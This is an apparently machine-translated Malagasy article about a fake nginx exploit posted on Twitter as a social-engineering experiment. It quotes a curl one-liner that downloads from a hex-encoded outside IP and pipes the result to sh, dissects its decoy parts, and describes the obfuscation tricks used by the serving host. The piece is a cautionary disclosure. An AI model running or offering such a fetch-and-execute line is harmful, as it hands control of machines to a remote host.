Fahombiazan'ny andrana ara-tsosialy miaraka amin'ny fitrandrahana nginx sandoka

Fanamarihana. transl.: mpanoratra naoty tany am-boalohany, nivoaka tamin'ny 1 Jona, nanapa-kevitra ny hanao andrana amin'ireo liana amin'ny fiarovana ny vaovao. Mba hanaovana izany, nanomana fanararaotana hosoka ho an'ny fahalemena tsy fantatra mazava ao amin'ny mpizara tranonkala izy ary namoaka izany tao amin'ny Twitter-ny. Ny eritreriny - ho sarona avy hatrany amin'ireo manam-pahaizana manokana izay hahita ny fitaka miharihary ao amin'ny fehezan-dalàna - tsy vitan'ny hoe tsy tanteraka... Nihoatra noho ny nantenaina rehetra izy ireo, ary tamin'ny lalana mifanohitra amin'izany: nahazo fanohanana goavana avy amin'ny olona maro izay tsy nanao izany ny bitsika. jereo ny ao anatiny.

TL; DR: Aza mampiasa fichier pipelining amin'ny sh na bash amin'ny toe-javatra rehetra. Ity dia fomba tsara hanalana ny fifehezana ny solosainao.

Te hizara aminareo tantara fohy momba ny fitrandrahana PoC tantara an-tsary izay noforonina tamin'ny 31 Mey aho. Niseho haingana izy ho setrin'ny vaovao avy amin'ny Alisa Esage Shevchenko, mpikambana Initiative Day Zero (ZDI), havoaka tsy ho ela ny fampahalalana momba ny vulnerability ao amin'ny NGINX mankany amin'ny RCE (famonoana kaody lavitra). Satria ny NGINX dia manome hery ny tranonkala maro, ny vaovao dia tsy maintsy ho baomba. Saingy noho ny fahatarana amin'ny fizotran'ny "fanambarana tompon'andraikitra", tsy fantatra ny antsipirian'ny zava-nitranga - izany no fomba fiasa ZDI mahazatra.

bitsika momba ny famoahana ny vulnerability ao amin'ny NGINX

Rehefa avy niasa tamin'ny teknikan'ny obfuscation vaovao amin'ny curl aho, dia nitanisa ny bitsika tany am-boalohany ary "nandroaka PoC miasa" misy andalana tokana iray izay heverina fa manararaotra ny vulnerable hita. Mazava ho azy fa hadalana tanteraka izany. Nihevitra aho fa ho sarona avy hatrany aho, ary amin'ny tsara indrindra dia hahazo bitsika roa aho (oh tsara).

bitsika miaraka amin'ny fanararaotana sandoka

Tsy azoko an-tsaina anefa izay nitranga taorian’izay. Niakatra be ny lazan'ny bitsikako. Mahagaga fa amin'izao fotoana izao (15:00 ora 1 Jona) dia vitsy ny olona mahatsapa fa sandoka izany. Betsaka ny olona mamerina misioka azy nefa tsy mijery azy mihitsy (avelao ny hankafy ny sary mahafinaritra ASCII navoakany).

Jereo fotsiny ny kanto!

Na dia tsara aza ireo tadivavarana sy loko rehetra ireo, mazava ho azy fa tsy maintsy nampiasa kaody amin'ny milinany ny olona vao mahita azy ireo. Soa ihany fa miasa toy izany koa ny navigateur, ary miaraka amin'ny hoe tsy tena te hiditra amin'ny olana ara-dalàna aho, ny kaody nalevina tao amin'ny tranokalako dia nanao antso an-tariby fotsiny fa tsy nanandrana nametraka na manatanteraka code fanampiny.

Digression kely: netspooky, dnz, izaho sy ireo lehilahy hafa ao amin'ny ekipa Thugcrowd Efa nilalao tamin'ny fomba isan-karazany izahay mba hanafenana ny baikon'ny curl nandritra ny fotoana kelikely satria mangatsiaka ... ary geeks izahay. netspooky sy dnz dia nahita fomba vaovao maro izay toa tena nampanantena ahy. Nandray anjara tamin'ny fahafinaretana aho ary nanandrana nanampy ny fiovam-po IP desimal amin'ny kitapo misy fika. Hita fa azo avadika ho endrika hexadecimal ihany koa ny IP. Ankoatr'izay, ny curl sy ny ankamaroan'ny fitaovana NIX hafa dia mihinana IP hexadecimal! Noho izany dia resaka famoronana tsipika baiko mandresy lahatra sy azo antoka. Tamin'ny farany dia nieritreritra ity iray ity aho:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-electronic engineering (SEE) - mihoatra noho ny phishing fotsiny

Ny fiarovana sy ny fahalalahana dia ampahany lehibe amin'ity fanandramana ity. Heveriko fa ireo no nitarika ny fahombiazany. Ny andalana baiko dia midika mazava tsara ny fiarovana amin'ny firesahana ny "127.0.0.1" (ilay localhost malaza). Localhost dia heverina ho azo antoka ary tsy miala amin'ny solosainao ny angona ao aminy.

Ny fahafantarana no singa fototra faharoa SEE tamin'ny andrana. Satria ny olona lasibatra dia olona zatra ny fototry ny fiarovana amin'ny solosaina, zava-dehibe ny mamorona kaody mba ho toa mahazatra sy mahazatra ny ampahany amin'izany (ary noho izany dia azo antoka). Ny fampindramam-bola amin'ny foto-kevitra hitrandraka taloha sy ny fampifangaroana azy ireo amin'ny fomba tsy mahazatra dia voaporofo fa tena nahomby.

Ity ambany ity ny famakafakana amin'ny antsipiriany momba ny one-liner. Ny zava-drehetra amin'ity lisitra ity dia mitafy toetra kosmetika, ary saika tsy misy ilaina amin'ny tena fiasan'izy io.

Inona no singa tena ilaina? izany -gsS, -O 0x0238f06a, |sh ary ny mpizara tranonkala mihitsy. Ny mpizara tranonkala dia tsy nisy toromarika ratsy, fa nanompo sary ASCII tamin'ny alalan'ny baiko fotsiny echo ao amin'ny script voarakitra ao index.html. Rehefa niditra andalana miaraka amin'ny |sh eo afovoany, index.html entana sy vonoina. Soa ihany fa tsy nanana fikasana ratsy ireo mpitahiry ny mpizara tranonkala.

• ../../../%00 - maneho ny fandehanana any ivelan'ny lahatahiry;
• ngx_stream_module.so - lalana mankany amin'ny module NGINX kisendrasendra;
• /bin/sh%00<'protocol:TCP' - voalaza fa manomboka izahay /bin/sh eo amin'ny milina kendrena ary avereno amin'ny fantsona TCP ny vokatra;
• -O 0x0238f06a#PLToffset - ingredient miafina, fanampiny #PLToffset, mba ho toy ny fitadidiana offset izay voarakitra ao amin'ny PLT;
• |sh; - ampahany manan-danja iray hafa. Nila nanova ny vokatra ho sh/bash izahay mba hanatanterahana ny kaody avy amin'ny mpizara tranonkala manafika hita ao 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - dummy izay resahin'ny netcat /dev/tcp/localhostsao dia milamina indray ny zava-drehetra. Raha ny marina dia tsy manao na inona na inona izy io ary tafiditra ao anatin'ny tsipika momba ny hatsaran-tarehy.

Izany dia mamarana ny famotsorana ny script andalana tokana sy ny fifanakalozan-kevitra momba ny lafin'ny "injeniera sosialy-elektronika" (phishing sarotra).

Fanamboarana sy fanoheran'ny Web Server

Satria ny ankamaroan'ny mpanjifako dia infosec/hackers, dia nanapa-kevitra ny hanao ny mpizara tranonkala aho mba hahatohitra kokoa ny fanehoana "fahaliana" amin'ny anjarany, mba hananan'ny bandy zavatra hatao (ary mahafinaritra ny manao izany. hametraka). Tsy hotanisaiko eto daholo ny fandrika rehetra satria mbola mitohy ny andrana, fa ireto misy zavatra vitsivitsy ataon'ny mpizara:

• Manara-maso am-pahavitrihana ny andrana fizarana amin'ny tambajotra sosialy sasany ary manolo ireo thumbnail preview isan-karazany mba hampirisihana ny mpampiasa hanindry ny rohy.
• Mamindra an'i Chrome/Mozilla/Safari/etc amin'ny horonan-tsary fampiroboroboana Thugcrowd fa tsy mampiseho ny script shell.
• Miambena fa misy famantarana miharihary amin'ny fisondrotana / fijirika mibaribary, ary avy eo dia manomboka mamindra ny fangatahana amin'ny mpizara NSA (ha!).
• Mametraka Trojan, ary koa ny BIOS rootkit, amin'ny solosaina rehetra izay mitsidika ny mpampiantrano avy amin'ny navigateur mahazatra (mivazivazy!).

Ampahany kely amin'ny antimer

Amin'ity tranga ity, ny hany tanjoko dia ny hifehy ny sasany amin'ireo endri-javatra amin'ny Apache - indrindra indrindra, ny fitsipika mahafinaritra amin'ny famerenana ny fangatahana - ary nieritreritra aho hoe: maninona?

NGINX Exploit (Real!)

Misoratra anarana amin'ny @alisaesage ao amin'ny Twitter ary araho ny asa lehibe ataon'ny ZDI amin'ny fiatrehana ireo fahalemena tena izy sy ny fanararaotana ny fahafahana ao amin'ny NGINX. Nahavariana ahy foana ny asan'izy ireo ary mankasitraka an'i Alice aho noho ny faharetany tamin'ireo filazana sy fampandrenesana rehetra nateraky ny bitsika adalako. Soa ihany fa nitondra soa ihany koa izy io: nanampy tamin'ny fanentanana ny vulnerability NGINX, ary koa ny olana nateraky ny fanararaotana ny curl.

Source: www.habr.com